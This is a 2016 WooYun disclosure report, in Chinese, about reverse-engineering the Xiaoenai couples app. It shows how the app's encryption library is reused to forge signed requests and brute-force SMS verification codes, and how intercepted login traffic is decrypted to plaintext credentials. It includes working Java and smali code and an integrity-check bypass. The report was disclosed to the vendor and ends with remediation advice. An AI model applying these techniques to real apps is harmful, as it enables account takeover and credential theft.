当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0184368

漏洞标题:演示破解“小恩爱”官方APP的http算法附另类过so(几个漏洞利用思路)

相关厂商:小恩爱

漏洞作者: soFree

提交时间:2016-03-13 23:05

修复时间:2016-04-28 18:09

公开时间:2016-04-28 18:09

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:19

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-13: 细节已通知厂商并且等待厂商处理中
2016-03-14: 厂商已经确认,细节仅向厂商公开
2016-03-24: 细节向核心白帽子及相关领域专家公开
2016-04-03: 细节向普通白帽子公开
2016-04-13: 细节向实习白帽子公开
2016-04-28: 细节向公众公开

简要描述:

前几日,咱妹子推荐装个”小恩爱“,妹子的话=圣旨!刚好最近在看Android NDK开发,索性拿它实践下
下载最新版apk,反编译搞起,”小恩爱“号称全球最受欢迎的情侣应用

详细说明:

本文重点:如何过并利用.so
篇幅较多,见谅,为完整演示,就写细了
装机”小恩爱“后进行注册,抓包发现http请求包被加密成很长的一串字符,不能愉快的渗透了
形式:data=3efc447662......7345080d7&ver=1.0
未采用第三方加固或加壳工具,成功反编译,代码混淆了,依然可进行静态分析
以“注册时提交短信验证码请求”为切入点:http://sms.api.xiaoenai.com/v3/sms/client_verify_code
搜索 client_verify_code,定位到关键代码:
JSONObject jSONObject = new JSONObject();
jSONObject.put("mobile", str);
jSONObject.put("verify_code", str2);
jSONObject.put("verify_type", i);
m15596a("v3/sms/client_verify_code", jSONObject);
上面得到的jSONObject进行加签得到sig:
public static JSONObject m15595e(JSONObject jSONObject) {
if (jSONObject == null) {
jSONObject = new JSONObject();
}
jSONObject.put("ts", (System.currentTimeMillis() / 1000) + ((long) C3070b.m15493b("client_server_adjust", Integer.valueOf(0)).intValue()));
if (C3068a.m15453i().m15469f()) {
jSONObject.put(WBConstants.AUTH_ACCESS_TOKEN, C3068a.m15453i().m15461b());
}
jSONObject.put("lang", bp.m16216i() + "_" + bp.m16218j());
jSONObject.put("xea_os", "android");
try {
jSONObject.put("xea_app_ver", Xiaoenai.m10305j().getPackageManager().getPackageInfo(Xiaoenai.m10305j().getPackageName(), 0).versionName);
} catch (Exception e) {
e.printStackTrace();
}
try {
Object obj = Xiaoenai.m10305j().getPackageManager().getApplicationInfo(Xiaoenai.m10305j().getPackageName(), 128).metaData.get(SdkConstants.CHANNEL_META_CONFIG_KEY_UMENG);
if (obj != null) {
jSONObject.put("xea_channel", obj.toString());
}
} catch (Exception e2) {
e2.printStackTrace();
}
jSONObject.put("xea_net", ap.m16028c(Xiaoenai.m10305j()));
//前面进行业务参数和公共参数的组装,这里加签,得到sig
jSONObject.put(“sig”, C3131i.m16287a(jSONObject));
return jSONObject;
}
待签名字符串按照key排序为:lang=zh_CN&mobile=15657585784&ts=1457865296&verify_code=1234&verify_type=1&xea_app_ver=5.6.1&xea_channel=%E8%B1%8C%E8%B1%86%E8%8D%9A&xea_net=wifi&xea_os=android
加签得到sig,再次组装得到一个形如这样的jSONObject:
{"xea_app_ver":"5.6.1","xea_os":"android","ts":1457865296,"xea_net":"wifi","verify_type":1,"xea_channel":"%E8%B1%8C%E8%B1%86%E8%8D%9A","lang":"zh_CN","verify_code":"1234","mobile":"15657585784","sig":"7958fa968e6612f52ad1d38c577cb4d3"}
然后就是重点了,这样的jSONObject进入so库中加密得到咱们抓包看到的request串:
data=3efc447662......7345080d7&ver=1.0
so的java代码在CryptoJNI.class文件中:System.loadLibrary("mzd"):public static final native String enCrypto(String str);
现在咱们搞清楚了“小恩爱”的整个安全机制,简单一句话:
业务参数拼接上公共参数,然后加签,再加密
现在难点就是怎么破解这个so里的算法?!··
方案:
a.反编译so后阅读汇编,辅以ida调试等方式
b.搜寻“小恩爱”的老版本,看是否老版本里重要算法没有入so库(这个方法很多时候还真的有效,因为企业为了兼容性考虑,升级后原算法都没变)
c.注入打印语句,生成大量的数据,做一个算法字典,从而将so里的算法猜解出来。这个大家可参考咱去年12月份上报的破解华住集团app的so: WooYun: 讲解一步步逆向破解华住酒店集团官网APP的http包加密算法以及一系列漏洞打包
d.发散思维,想其他方案
这里考虑d方案,为啥一定要破解so文件呀,不破解就不能愉快的玩耍了吗?
懂点Android NDK开发的同学知道,so文件其实是可以被复用的
啥意思?就是说,将别人app里的so文件拷到自己apk里,复用这个so文件
咱演示下,并附带几个利用思路,
1、利用思路1:演示如何进行”任意手机号注册“
注册的时候短信验证码是4位纯数字,且为30分钟有效,存在遍历暴破的可能
于是咱的app要实现的功能就很清晰了:咱想获取验证码1000-9999(其实短信码还有0打头的情况,比如0105,咱这偷个懒,只为演示下利用思路)的所有加密后的串(后续咱用这个加密串字典进行请求遍历,看能否注册任意手机号)
复用他人so文件的思路:将自己的app反编译后进行代码注入并将他人的so文件(这里是libmzd.so)拷贝到lib下的armeabi文件夹下,然后二次打包,搞定!
过程:
提一句:最好在这个空apk里面实现1000-9999这个循环,为啥呢,因为smali注入复杂的循环语句常常会因为一些小细节导致代码注入出错,apk运行就挂,而java比smali好整多了,当然你要是smali写得出神入化,那这都不是问题
将自己的apk反编译后,进行代码注入,
首先将libmzd.so拷贝到lib下的armeabi文件夹下
为了能成功调用它,下面咱们需要进行合适的代码注入
这里,咱们需要先知道java代码是如何找到并调用so文件里面咱们所需函数的?
就比如这个例子,CryptoJNI.class文件:
package org.mzd.crypto;
public class CryptoJNI
System.loadLibrary("mzd");
public static final native String enCrypto(String str);
当执行System.loadLibrary("mzd")时,程序一般会去lib下的armeabi文件夹下寻找并加载libmzd.so文件,
(咱们这儿要调用libmzd.so文件里的enCrypto函数)然后将会根据CryptoJNI文件的路径和参数签名去找对应注册的enCrypto函数
这里就是:Java_org_mzd_crypto_CryptoJNI_enCrypto(JNIEnv *env, jobject obj, jstring str)(当然动态注册可能是别的串形式,不过原理一样)
所以,咱们为了能成功复用别人的so,那就必须保持:原java函数的包、函数、函数的参数都固定不变
这里是:org.mzd.crypto.CryptoJNI.enCrypto(String str)
所以就简单了,咱们反编译后只需要在代码根目录下新建文件夹取名org,在org文件夹下新建文件夹mzd,mzd文件下新建文件夹crypto,然后将”小恩爱“自带的CryptoJNI.smali拷贝到文件夹crypto下
搞定!,现在咱们就可以成功复用别人的so文件了
接下来要做的就是代码注入,实现咱上面说到的1000-9999短信验证码这个循环,每一次循环都调用一次libmzd.so里的enCrypto函数,并打印出这些加密request包
进行过smali注入的同学可能遇到过,写smali代码有时候会导致原apk报错,甚至多次排查后也不晓得哪个地方出问题了,总之就是smali注入效率不高
这里咱想的策略是尽量大部分的代码用java写,少部分注入语句用smali
所以,咱用java实现了1000-9999短信验证码这个循环,还有参数加签并组装成字符串的过程,然后用smali实现加密和打印,也就是调用so的过程
短信验证码的循环:
for(int i=1000;i<9999;i++){
DataEncrypt.dataEncrypt(String.valueOf(i));
......
}
加签和组装:
public static String dataEncrypt(String verify_code) {
Map<String, Object> dataMap = new HashMap<>();
//公共参数
dataMap.put("ts", (System.currentTimeMillis() / 1000) +5);
dataMap.put("lang", "zh_CN");
dataMap.put("xea_app_ver", "5.6.1");
dataMap.put("xea_channel", "%E8%B1%8C%E8%B1%86%E8%8D%9A");
dataMap.put("xea_net", "wifi");
dataMap.put("xea_os", "android");
//业务参数
dataMap.put("verify_type", 1);
dataMap.put("verify_code", verify_code);
//手机号特意固定为15657585784,可改之
dataMap.put("mobile", "15657585784");
//签名
String sig = genSign(dataMap);
dataMap.put("sig", sig);
JSONObject jSONObject = MapSortDemo.fromMap(dataMap);
return jSONObject.toString();
}
public static String getSign(String str) {
try {
System.out.print("str:"+str);
MessageDigest instance = MessageDigest.getInstance("MD5");
instance.update(str.getBytes("UTF-8"));
StringBuffer stringBuffer = new StringBuffer();
byte[] bytes = instance.digest();
int length = bytes.length;
for (int i = 0; i < length; i++) {
stringBuffer.append(String.format("%02x", Integer.valueOf(bytes[i] & 255)));
}
return stringBuffer.toString();
} catch (Exception e) {
e.printStackTrace();
}
return "";
}
public static String genSign(Map<String, Object> dataMap) {
StringBuilder sb = new StringBuilder();
Map<String, Object> dataMapSort = MapSortDemo.sortMapByKey(dataMap);
for (Map.Entry<String, Object> entry : dataMapSort.entrySet()) {
if (!(entry.getValue() == null)) {
sb.append(entry.getKey()).append("=").append(entry.getValue()).append("&");
}
}
if (sb.length() > 0) {
sb.deleteCharAt(sb.length() - 1);
}
return getSign(sb.toString());
}
smali实现加密(就3句):
invoke-static {v3}, Lorg/mzd/crypto/CryptoJNI;->enCrypto(Ljava/lang/String;)Ljava/lang/String;
move-result-object v3
invoke-static {v2, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
二次打包后,运行apk,打印出了1000-9999的短信验证码+手机号15657585784全部可能的加密request串
因为ddms或者androidStudio自带的logcat都有最大缓存容量,修改设置后发现也不能显示出这8999条数据,会被冲刷覆盖掉
可采用adb logcat正则命令,将8999条数据写到终端sdcard的文件中,命令:
首先在cmd下输:adb shell
再输入:logcat |grep "enCrypto:" >sdcard/encrypto.txt
从sdcard中取出encrypto.txt文件:
D/enCrypto:(22000): {"data":"3efc44766204453f3063acc6b594933f7d43ee172285857d3d33a5e9fc2720e6fa5190fbeef2a7aa850c07bb3a96b593e17f3b68984ae8a5961f16fa4ae351a9c6bad06fc20d0d85596469504e90b7faeaff7855e8f1defbbaef919bca2444bca340bb97da31fb8babaa7cb6f05ee1382bdf1b283642e92fc631ed4635623a2ec89267116a12bb5c3e6e475921cdf2c10da862ae4f795e4d41b1148589df161fe65570cbfb4d0020b6e6b8a467e506b6f0542720c3f829f0da8cbc5a3e6e1f9f904ce5504de8bf2c89a2e9c749ddff31322e00d93c301ecbaf8cfa7ad03b59e1228b0fb968913759ccbe9f4da7415deb","ver":"1.0"}
...
...
D/enCrypto:(22000): {"data":"3efc44766204453f3063acc6b594933f7d43ee172285857d3d33a5e9fc2720e6fa5190fbeef2a7aa850c07bb3a96b593e17f3b68984ae8a5961f16fa4ae351a9c6bad06fc20d0d85596469504e90b7faeaff7855e8f1defbbaef919bca2444bca340bb97da31fb8babaa7cb6f05ee1382bdf1b283642e92fc631ed4635623a2ec89267116a12bb5c3e6e475921cdf2c10da862ae4f795e4d41b1148589df161fb303181ebd00249e4ca4992a010b5d92f0542720c3f829f0da8cbc5a3e6e1f9fbfa0cc82b2d57a8b711a06c1d50e98b9febf0540d8458a65bf60715c732c81892338794e158e596c3228d06e4577ddb8","ver":"1.0"}
下面就简单了,直接上burpsuite遍历这8900多条提交短信验证码的请求,看能否成功注册这个手机号15657585784
截图:

zhuangk.png


小遗憾,跑完发现没成功,排除好几次,签名和代码确定没问题,看来服务端很可能有防短信验证码暴破的类似机制
没得关系,透过上面这个思路,咱们已经成功搞定so,并搞定加签算法,利用思路那就很多,因为咱可以任意改request包
2、下面说利用思路二:
思路二咱就不写了,留给感兴趣的朋友,咱妹子最近没提“小恩爱”这个应用了,俺也没用过这个应用了,就不花时间去了解其业务,然后模拟攻击了
因为咱们到这里其实已经拿下了它全部的加密包,可任意改包,只要多深入看看其业务,估计能发现不少漏洞
咱分享点其他的,为啥咱会得出这样的结论,因为不少公司移动端的产品为了规避很多安全,实现所谓的一劳永逸的解决安全漏洞,选择了类似“小恩爱”这样的设计方案
对原始参数加签再加密,因为被加密了看不到原包,同时有加签,这样可以规避很多风险,比如越权,撞库、暴破、敏感信息泄漏。。。甚至一些业务逻辑方面的漏洞
其实小弟咱自己的公司就是采用的request包和respons包加签方案,因为加签了,可防篡改,安全漏洞一直在哪里,只是规避掉了,但是几个月前,咱通过看了点hook,轻松就搞定了这个设计方案
因为黑客虽然不能修改加签后的request包,但是通过hook(xposed和substrate),可在你加签之前钩住某函数,从而在加签之前进行参数任意篡改
这里小弟有个感悟就是:不少公司常常解决安全问题的方案,不是直接去解决,而是选择规避的方案。
为啥,因为规避的方案最省人力物力
3、利用思路三(很有趣喔):
大家可能注意到一个细节了
public class CryptoJNI {
public static final native String deCrypto(String str);
public static final native String enCrypto(String str);
static {System.loadLibrary("mzd");}

说明这个libmzd.so文件里面还有deCrypto方法,cool!酷毙了!因为这意味着黑客截获的http包极有可能解密成明文,
为了说明严重性和趣味性,咱拿一个注册最后一步提交密码的加密request包来做验证
data:34fd3dff810ee846d874cd48db1f87bce0a7035f3c96bf51fcb1892b7e7e7845265353828d261dbad2d4**************8e3fbef05e93bbb2277345080d7
思路同样,就几行代码,咱写个app然后复用该so文件的解密函数,并传入截获的http包,发现解密data成功!!
androidStudio中打印日志出明文(账号和密码都看到了):
D/deCrypto:: {"ts":1457874602,"lang":"zh_CN","password":"aaa111","sig":"e444c8ee1e1c7c037afd98a253f7a2b5","verify_code":"7014","mobile":"1871******5"}
请允许咱大笑3声,哈哈哈!咱开发同学也太有爱了,爱死你们了,居然将解密的接口也暴露给黑客了,话说这个加密的原方案岂不突然成了鸡肋
其他的漏洞:
a.防二次打包机制是个摆设,建议优化
二次打包后安装,运行时,弹出提示该软件为“山寨版”,
分析后定位到关键代码:
const-string v1, "aN+VCd8ns0yqsotX2WuKyScq/ZA="
invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
move-result v0
if-nez v0, :cond_3
直接将if-nez改为if-eqz,成功绕过该验证
提一句:大家会发现二次打包会失败,原因是public.xml中配置了一些不存在的引用,咱们去掉这些不存在的引用即可成功打包
b.最新版"小恩爱"有一个防老版本登录的机制:
av.m16057b((Activity) this);
sendBroadcast(new Intent("kill_action"));
可轻松绕过,建议修改该方案
c.可正常抓包,说明存在中间人攻击,
建议使用STRIC_HOSTNAME_VERIFIER并校验证书,并在实现的X509TrustManager子类中checkServerTrusted函数效验服务器端证书的合法性。
d.建议在AndroidManifest.xml中设置android:allowBackup="false"
e.本地拒绝服务漏洞:
com.xiaoenai.app.classes.chat.history.ChatHistoryActivity
com.xiaoenai.app.classes.auth.XeaAuthActivity
com.xiaoenai.app.classes.common.share.WeiboShareActivity
com.xiaoenai.app.classes.chat.ChatActivity
com.easemob.chat.EMChatService
com.alibaba.sdk.android.trade.ui.TradeWebViewActivity
com.xiaoenai.app.service.MessageService
com.mob.tools.MobUIShell
com.alibaba.sdk.android.trade.ui.NativeTaobaoClientActivity
com.xiaoenai.app.classes.home.HomeActivity
com.umeng.common.net.DownloadingService
com.xiaoenai.app.classes.startup.LauncherActivity
org.cocos2dx.cpp.AppActivity
com.xiaoenai.app.classes.chat.emchat.service.CallService
f.另外建议进行安全加固,虽然第三方加固方案收费是有点小贵
g.webview远程代码执行漏洞等

漏洞证明:

本篇结论:原来so就算不被反编译或调试,也不一定就安全,只要攻击者思路发散点,大招小招不断,是有可能另类搞定so的

修复方案:

麻烦改吧

版权声明:转载请注明来源 soFree@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-03-14 18:09

厂商回复:

多谢提醒,该漏洞已移交Android技术团队跟进处理。非常感谢您对小恩爱安全的关注!

最新状态:

暂无